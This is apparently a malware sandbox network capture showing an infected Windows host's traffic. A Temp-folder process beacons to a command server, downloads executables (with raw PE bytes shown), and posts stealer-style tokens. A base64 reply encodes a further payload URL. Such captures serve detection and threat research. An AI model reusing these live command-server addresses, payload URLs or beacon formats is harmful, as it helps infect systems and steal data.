Nov 21, 2024 07:11:03.362731934 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:11:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 21, 2024 07:11:03.387020111 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJJJDHDGDAAKECAKJDAE Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 35 63 30 63 32 30 66 32 61 39 61 37 65 33 35 66 38 30 37 39 38 61 30 33 36 62 64 63 32 65 37 62 36 65 39 31 62 39 38 64 32 37 62 38 35 31 34 31 31 36 36 62 31 31 30 64 32 36 30 66 33 65 35 39 63 36 35 65 30 38 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 45 2d 2d 0d 0a Data Ascii: ------KJJJDHDGDAAKECAKJDAEContent-Disposition: form-data; name="token"3a5c0c20f2a9a7e35f80798a036bdc2e7b6e91b98d27b85141166b110d260f3e59c65e08------KJJJDHDGDAAKECAKJDAEContent-Disposition: form-data; name="message"ybncbhylepme------KJJJDHDGDAAKECAKJDAE--
Nov 21, 2024 07:11:03.843728065 CET	271	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:11:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=86 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49875	185.215.113.43	80	7264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 07:10:42.759351969 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 38 36 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007863001&unit=246122658369
Nov 21, 2024 07:10:44.195893049 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 06:10:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49881	31.41.244.11	80	7264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 07:10:44.373939991 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 21, 2024 07:10:45.804891109 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 06:10:45 GMT Content-Type: application/octet-stream Content-Length: 4431360 Last-Modified: Thu, 21 Nov 2024 06:08:20 GMT Connection: keep-alive ETag: "673ece54-439e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 b0 c6 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 e0 c6 00 00 04 00 00 ee 08 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 9b c6 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 9a c6 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL<g(Is2J@D@ _qs@ px'@.rsrc p'@.idata q'@ 9q'@izldifvl'@aseeuljjxC@.taggant0"\|C@
Nov 21, 2024 07:10:45.804913044 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 07:10:45.804920912 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 07:10:45.805052996 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 07:10:45.805063009 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 72qG..r8y"f~ygC
Nov 21, 2024 07:10:45.805072069 CET	448	IN	Data Raw: a2 59 58 47 ec ac 1a 34 9e d8 30 00 ac 60 52 70 57 5e f0 83 96 08 5b 23 ab 1c cb 5c 4e 11 c7 d4 b1 1d e2 57 f4 69 4e b0 9f 96 81 cd f7 1b 66 33 03 b7 1e bf 16 5c 15 6a 89 0d 87 38 d0 a0 c5 1a d3 10 f9 68 98 16 ca ca 34 61 b9 c0 a5 be dc 40 fe d6 Data Ascii: YXG40`RpW^[#\NWiNf3\j8h4a@+MWog`yUlK@;d OkmXDzC!b/h-UsCa4RXL] NH\|IXaT,,J8.}o<mP
Nov 21, 2024 07:10:45.805151939 CET	1236	IN	Data Raw: 8d 6f d2 f6 04 5e 10 73 da 97 fb f8 1d 5f f7 8b 81 e0 aa f5 19 33 a9 50 0a 5c be c7 09 2f 1b 77 4c dc cd 0e 45 31 3d 62 4d 2c 67 b5 e6 25 cd d2 6f b5 c8 ab 24 90 80 a5 9e fd ba 93 ca ac 5c d9 e2 d6 2d c1 e7 1f a3 bd 68 35 eb 7c ae 7f 48 a0 62 40 Data Ascii: o^s_3P\/wLE1=bM,g%o$\-h5\|Hb@okZEEkS:8N(;o"{(Yoozko:@am[#C5oPb+yzynekgLMr>r*?2CMQPHxQP]f\S[,k
Nov 21, 2024 07:10:45.805187941 CET	1236	IN	Data Raw: 6b ac b6 ee 37 d1 4a ee 7d 40 34 60 4a bb 03 4c 8f 50 00 f5 04 6c 7c 01 8c a3 bf c2 85 45 07 4c 4a 67 d1 ae 83 95 7d 3c 57 28 10 73 5e 3c 0a fb 98 3e c7 3c b7 ad df 06 63 3c bf cf 40 4d e7 66 75 18 86 4e 44 85 c3 2f 4a ec e7 0a a1 67 7a 11 98 3a Data Ascii: k7J}@4`JLPl\|ELJg}<W(s^<><c<@MfuND/Jgz:'wVrU!\4&KtTTez27gkOU-$yw]bG<ExDJqlDAD.\KaBrL<.;'K}V1e,`Tqnl27Y Z4!
Nov 21, 2024 07:10:45.805198908 CET	1236	IN	Data Raw: 66 f0 67 a6 51 63 47 d4 9d 1d 63 e1 4a 21 c5 ee 99 6a d1 93 aa 36 d1 05 82 71 c3 ec e7 2c 6f d6 9a 05 e0 44 a4 83 98 2c 80 9e 8b b1 3c 77 d0 c2 c4 8a cf 0a c6 6d 8e c0 5d 90 28 a9 ba fc c3 32 bf 50 d6 ad cc ca 68 16 cb 04 e8 86 11 f6 94 95 27 86 Data Ascii: fgQcGcJ!j6q,oD,<wm](2Ph'PGu1b-98}?%HT Y=6[=Y$+$!~F= -m/t# `+dkC_+s?(`clsLlb@MBkXBm
Nov 21, 2024 07:10:45.805207968 CET	1236	IN	Data Raw: a2 10 47 b3 7a 5b c7 64 3b 8e fe be 2a f8 b2 5f 2f 2d 5b ae 55 2c a7 35 15 25 32 7f 66 7e 4e fd 06 c5 4b fa dc b8 2b ee 44 34 b9 94 84 45 e2 38 87 c3 f7 e9 0b 8c c5 04 c7 04 2a e7 a2 36 60 25 6e 14 10 35 88 e7 ab b6 1f 37 5c 8f b6 86 17 62 dc 7b Data Ascii: Gz[d;_/-[U,5%2f~NK+D4E86`%n57\b{}sIzMl;z\VvG1l;HB[?~2}I<LZPx8':+#q@'2iYt1IV+^]4,2@Y#K&{j,[^h
Nov 21, 2024 07:10:45.924616098 CET	1236	IN	Data Raw: 6e cb c4 1b 2b 37 24 e2 f1 df c9 2f 33 0f 43 22 b7 d1 c1 ba 2b 74 38 eb e1 c6 d2 bd 4a cd 70 50 fb 38 ef d6 91 30 df 28 a5 6e 63 f3 42 15 5b 20 f0 76 ad de 2a 4e ac f3 29 ec f7 8d fd 16 d3 16 ba 4a ed a9 46 e6 d8 17 70 22 d3 61 46 38 ad fe 45 0e Data Ascii: n+7$/3C"+t8JpP80(ncB[ vN)JFp"aF8E+[+\#ZUw 7(mD@yj1><\!ZGR%4+S]>fKH,A}an9O,-T"adwEZ8]8{d['w(\|+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49890	34.107.221.82	80	6404	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 07:10:47.142153978 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49918	185.215.113.43	80	7264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 07:10:55.961170912 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 38 36 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007864001&unit=246122658369
Nov 21, 2024 07:10:57.286236048 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 06:10:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49924	185.215.113.43	80	7264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 07:10:59.236032963 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 07:11:00.663194895 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 06:11:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49927	34.107.221.82	80	5236	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 07:10:59.531754017 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 21, 2024 07:11:00.619200945 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 20 Nov 2024 17:33:57 GMT Age: 45423 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 21, 2024 07:11:01.040489912 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 21, 2024 07:11:01.364275932 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 20 Nov 2024 17:33:57 GMT Age: 45424 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49929	34.116.198.130	80	4044	C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 07:10:59.752146006 CET	87	OUT	GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1 Host: home.fvtekk5pn.top Accept: /
Nov 21, 2024 07:11:01.164247990 CET	1236	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Thu, 21 Nov 2024 06:11:00 GMT content-type: application/octet-stream content-length: 10815536 content-disposition: attachment; filename="36EpLiutqfXtaXMkXOTru;" last-modified: Tue, 19 Nov 2024 12:29:07 GMT cache-control: no-cache etag: "1732019347.4431374-10815536-3919321515" Data Raw: 9b 04 9e 1d e2 2a 68 73 fe d9 48 6f 2c 36 36 c8 a4 e4 ba e7 12 f9 22 5d 6f 07 aa d2 fb 8c a2 b3 95 1e b6 6c ff 92 32 40 41 97 30 99 34 26 c9 44 c2 1e 7f 22 13 cd 10 62 a7 32 f3 c2 5c 11 ed c0 71 4a 49 c7 9d 3e 95 07 3e 4a 0a 6f 63 4c 1a b8 b6 1a 3d 67 8e 9d ed 46 4c 04 61 0a c6 3c 7b 3a f6 0d 3f 30 0d 33 18 56 4c f0 76 7a 8b c7 a1 f1 75 64 d6 00 c3 e9 df 3a 1b 4f 35 50 64 a6 db 6b 23 6a aa e6 6c 33 a4 69 a7 80 16 e0 e4 49 7c d0 73 7d bf 61 a2 62 7a 62 8e 5b f4 4d a9 ba 05 ae 7f d8 0c 3c 1e 71 cb 84 47 32 b1 63 64 df 8e 7a 22 8c 8e 33 7d f1 20 f1 74 04 61 fd 18 55 10 be 45 7d f4 63 45 d4 d0 16 17 c4 c8 a6 7d 44 80 d2 ba e9 1a 17 37 63 43 e4 22 3e c5 e4 a4 16 51 4f 2d 57 23 3a 36 33 fa f3 c5 aa 04 00 79 5c 1f 43 8d f1 b2 56 df 86 17 bc df 28 44 b7 aa 85 64 2d 2f 94 0d a5 7c 18 37 92 cb 0d 76 40 2e 05 16 6a ce b1 8c 0a e3 7d 08 00 ce 6a ef d3 51 b9 3b 81 19 3c 3f 6c 3e 37 fe 3f d7 b3 7d 60 7e e2 b1 a4 1f 00 62 27 63 3d fd 4b 06 87 dc 8e 8e fa 56 9b bf 7a dc a3 07 20 e3 0b 1a f5 06 b1 0f 6d 27 af dd 1b [TRUNCATED] Data Ascii: hsHo,66"]ol2@A04&D"b2\qJI>>JocL=gFLa<{:?03VLvzud:O5Pdk#jl3iI\|s}abzb[M<qG2cdz"3} taUE}cE}D7cC">QO-W#:63y\CV(Dd-/\|7v@.j}jQ;<?l>7?}`~b'c=KVz m'3~\K ^m_F<4xrG/dz4?gv5,?^w@X^wZ1~7C+Z&dp`#9XgJC>e93VGh74x?x[3=YT.Qa `MG?_zGkB+(#8RUeY[x-$4`zAc`vmVlP+>tsd@>ydCHSnt+_`"FitXXD.}P #(4K<0b h;]6{bgEqvZ>4o]2?}#\|![L&!z";ZY<PPT9HC}M*65qs#ep%@LlGH)bj'7a: ;B3L0"
Nov 21, 2024 07:11:01.164320946 CET	1236	IN	Data Raw: b8 ff 32 30 58 cd 81 20 5f b7 4d f7 d5 77 53 0a 4f e7 60 83 ed 44 cc d0 f5 71 1e 4e 4f f8 01 9b 7d 28 47 50 fb 75 8d 8e 55 9f 9d c6 2b 06 24 6f 58 e4 80 8f e0 a2 b4 79 5d f7 cf 4a e0 fc b8 91 16 d1 c7 db 64 34 ea ff 9a 7a 67 99 a9 5e e5 15 9c c8 Data Ascii: 20X _MwSO`DqNO}(GPuU+$oXy]Jd4zg^h(>sNk=@nIEbcZ"~Q6]4AGc]>2+<X]2]CRq[Ya{YvF{m2*bg3\|8IBlm&
Nov 21, 2024 07:11:01.164330959 CET	448	IN	Data Raw: 31 a0 27 b0 31 e8 22 a5 51 78 81 6b ea a9 43 84 11 c4 be 3a 3c 17 d0 63 57 c5 20 31 2f c5 f3 3d bf 67 df 7f 0a 0e 93 9c af 04 65 f3 af a9 d4 4f 98 e4 8e ec 3f 1b 0f e9 f3 b7 01 21 79 8f 56 8d ec 70 82 ac 4b 64 58 ce 90 f4 54 8d 94 fe aa 7b 06 b3 Data Ascii: 1'1"QxkC:<cW 1/=geO?!yVpKdXT{`6u}]dTlC%hU.\|zi<kGB5}mP=PNp?%G~e\|NSF{)OfI"&l6~/YLm#K>
Nov 21, 2024 07:11:01.164344072 CET	1236	IN	Data Raw: d7 69 56 5c 8a fd 33 9e 31 ec 9c c1 d8 a3 f8 47 b9 cc 30 c6 da b0 45 93 21 42 a9 8a 57 60 09 fc cb 2e 90 9f 59 f0 8b 62 19 4c e4 91 74 f4 c2 17 35 08 34 0f fa 4a 11 49 ca a5 33 36 3f 6c 4b 54 c1 48 18 75 22 c4 7d c6 78 b5 d9 5a 9e 0d b4 86 45 8f Data Ascii: iV\31G0E!BW`.YbLt54JI36?lKTHu"}xZEtL\|TZA92uyrsE.] PC7CP[@}(u'Hmw&v:7bgt*?!7#N+/hu aRMQ(t
Nov 21, 2024 07:11:01.164355040 CET	1236	IN	Data Raw: 9e c8 f9 2c d3 c1 9f cc a0 34 08 7a ad 0b e4 2e 35 3a ce 67 9d dc a0 60 dc 6b be 57 78 5b 5f 06 53 0a 53 1e 07 7e 7b 82 f3 b7 6a 36 61 d0 f9 31 6f 7b e2 48 2b e7 69 db 11 a5 86 1e ef 46 8a cc d5 c4 46 56 80 9b 3f 56 a1 11 80 1a d4 9c cd 4d 0b 0f Data Ascii: ,4z.5:g`kWx[_SS~{j6a1o{H+iFFV?VMFQw7bW>wTeh2?Cc7@;^fM=o6Fd?nK94.Ss^YB2*Eapp_&Lh@:;H9&
Nov 21, 2024 07:11:01.164365053 CET	1236	IN	Data Raw: d1 ca c2 72 2b 2a 69 8a 8e 69 6d 1a a3 0b de d2 67 39 94 b0 3c fd b1 00 b2 89 e5 ba 44 1d f1 aa 04 0f d8 40 75 56 6e 2d 1c 10 db 16 c6 6f b0 d1 a9 ad d3 87 3c c3 92 57 ef ef 51 85 86 e7 f3 24 4a 6a 92 62 65 0f 5d 4a 2d 34 91 44 1f 39 d7 8d 68 06 Data Ascii: r+*iimg9<D@uVn-o<WQ$Jjbe]J-4D9hB]n!V5lrX_P$b}[O B:<l4gIAPFw%2a`^_dA2ri@QC_%]-zW"H-9o<oajCER X<.G
Nov 21, 2024 07:11:01.164375067 CET	472	IN	Data Raw: 43 96 18 9d 0a b8 50 66 10 92 96 c2 19 c9 65 26 cc f2 7e e8 62 ce fe 81 1f 9d ea 5b 2e 01 bc 0f 37 2c 3b 77 5a 49 86 37 f6 7f 03 c5 a9 b7 6a a0 77 b0 4e a1 dc f7 b5 a1 8c c9 52 99 d8 7c 23 40 8b 84 e8 45 e0 28 18 9f ca f8 1c 9d ee d3 64 ff f4 4e Data Ascii: CPfe&~b[.7,;wZI7jwNR\|#@E(dN\|3rEe#{=jfTC \&rFmsf\O##,R!$Tu]Rz`A5=Yw&Ex3XvNX^XjyJn
Nov 21, 2024 07:11:01.165915012 CET	1236	IN	Data Raw: a7 23 75 d9 4a cc 09 e0 ce d5 34 42 d5 9e 1a c8 d1 6e 5f e5 ee 81 7e 6c 10 bc 28 8b 4e b4 85 d7 7e d7 8d 76 5a 15 1d 94 d7 5c 83 e7 00 c3 dd f6 20 60 84 bf 40 4b 30 61 da f3 7a b6 aa 52 19 74 e1 50 44 7b 25 98 89 7b fc ad 61 fe 29 30 70 93 1e 44 Data Ascii: #uJ4Bn_~l(N~vZ\ `@K0azRtPD{%{a)0pD0o7i[w'ArYK,r!(mx"fY+cRu{.%o49`e\|WlI#](&}/\|vH3gpJ2IC}kS zH 6M-'}C\|L
Nov 21, 2024 07:11:01.165970087 CET	1236	IN	Data Raw: a0 c5 f8 5f db ba 96 de f8 e3 5f bb 9a ae ff a9 31 c0 05 dc 69 9d 42 ec 96 12 34 8d 46 b3 8f 84 c1 7d 5a 45 78 4d 39 a6 12 0d 34 2e 75 81 78 6d 02 a4 c4 8e b4 09 73 e1 93 44 8a 99 01 70 1e 8b 5e 1c 55 82 ba fe 09 b6 a6 5a a8 a5 14 4e ea db cf 27 Data Ascii: __1iB4F}ZExM94.uxmsDp^UZN'!Lji(V.G8O`a&i@kQr' V:Jb7;>:%B$'SRO1a=uH~@z4=Uny1'-s^b=}
Nov 21, 2024 07:11:01.165983915 CET	1236	IN	Data Raw: 51 51 ef d8 1f 32 39 5f b3 0f cc 25 d7 71 83 b7 85 12 f3 32 b3 d6 b5 2f cb 22 4d 58 28 ab 60 f3 ce 02 4f 7f 73 d8 de 54 41 e6 bb 74 5c f4 40 f0 ea c8 95 dc fe 60 16 0f 78 d7 a0 bf 55 46 df 1f a5 fc a6 a2 0f 7a a2 b4 8f e2 1a db da 83 a9 f8 4d c9 Data Ascii: QQ29_%q2/"MX(`OsTAt\@`xUFzMe(C--:1}\*q(MZ7vki/1\|<GTrL->}z8@I?chO/M'}:xUWJ#%A"Z2179x
Nov 21, 2024 07:11:01.284090042 CET	1236	IN	Data Raw: cc 5b ff 5b a4 26 37 2b 24 17 99 ac 3f d4 2b c5 0d a8 79 04 c5 6b 06 8a fd 0c 39 9a 83 b2 bb f7 eb 7d 8b 33 ab 2e f8 f1 97 78 de de aa 3b af 14 bb b7 fb 46 63 b6 8c e7 cd a8 51 b1 2c c0 9d 5e ef 49 38 c4 26 79 4c 60 ae 0b 4b 43 a9 03 7b cb db f3 Data Ascii: [[&7+$?+yk9}3.x;FcQ,^I8&yL`KC{t#^<vm$MPEK55I/Z\A[K6w]}#>[Q6_XlgC3(O88=bp^kpH&20#SNRxs;*#kC7!O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49938	34.107.221.82	80	5236	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 07:11:01.387748003 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49940	34.107.221.82	80	5236	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 07:11:01.643609047 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 21, 2024 07:11:02.869107008 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 20 Nov 2024 08:26:13 GMT Age: 78289 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49945	185.215.113.43	80	7264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 07:11:02.298942089 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 42 37 34 42 30 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12B74B05F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
